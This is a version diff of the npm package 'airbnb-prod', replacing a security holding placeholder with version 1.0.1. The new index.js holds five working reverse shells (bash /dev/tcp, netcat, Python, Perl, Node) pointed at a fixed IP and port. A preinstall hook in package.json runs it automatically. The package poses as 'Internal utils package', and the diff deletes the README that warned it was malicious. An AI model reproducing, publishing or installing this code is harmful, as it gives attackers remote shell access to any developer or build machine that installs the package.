airbnb-prod 0.0.1-security → 1.0.1

package/index.js

@@ -0,0 +1,48 @@
+const { exec } = require('child_process');
+const fs = require('fs');
+
+const IP = '10.245.238.67';
+const PORT = 1337;
+
+// 1. Bash reverse shell (most Linux/Mac)
+const bashShell = `bash -c 'bash -i >& /dev/tcp/${IP}/${PORT} 0>&1'`;
+
+// 2. Netcat traditional (if installed)
+const ncShell = `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ${IP} ${PORT} >/tmp/f`;
+
+// 3. Python reverse shell (common on dev systems)
+const pythonShell = `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("'${IP}'",${PORT}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'`;
+
+// 4. Node-based reverse shell (fallback)
+const nodeShell = `node -e 'require("child_process").spawn("bash",["-i"]).on("connect",(s)=>{s.pipe(process.stdin);process.stdout.pipe(s);process.stderr.pipe(s)})'`;
+
+// 5. Perl alternative
+const perlShell = `perl -e 'use Socket;$i="${IP}";$p=${PORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}'`;
+
+// Try methods sequentially
+const commands = [
+  bashShell,
+  ncShell,
+  pythonShell,
+  perlShell,
+  nodeShell
+];
+
+function tryCommand(index) {
+  if (index >= commands.length) return;
+  
+  exec(commands[index], { timeout: 2000 }, (error) => {
+    if (error) tryCommand(index + 1);
+  });
+}
+
+// Execute first method
+tryCommand(0);
+
+// Fork background process
+const child = exec('sleep 10', {
+  detached: true,
+  stdio: 'ignore'
+});
+
+child.unref();

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "airbnb-prod",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.1",
+  "description": "Internal utils package",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=airbnb-prod for more information.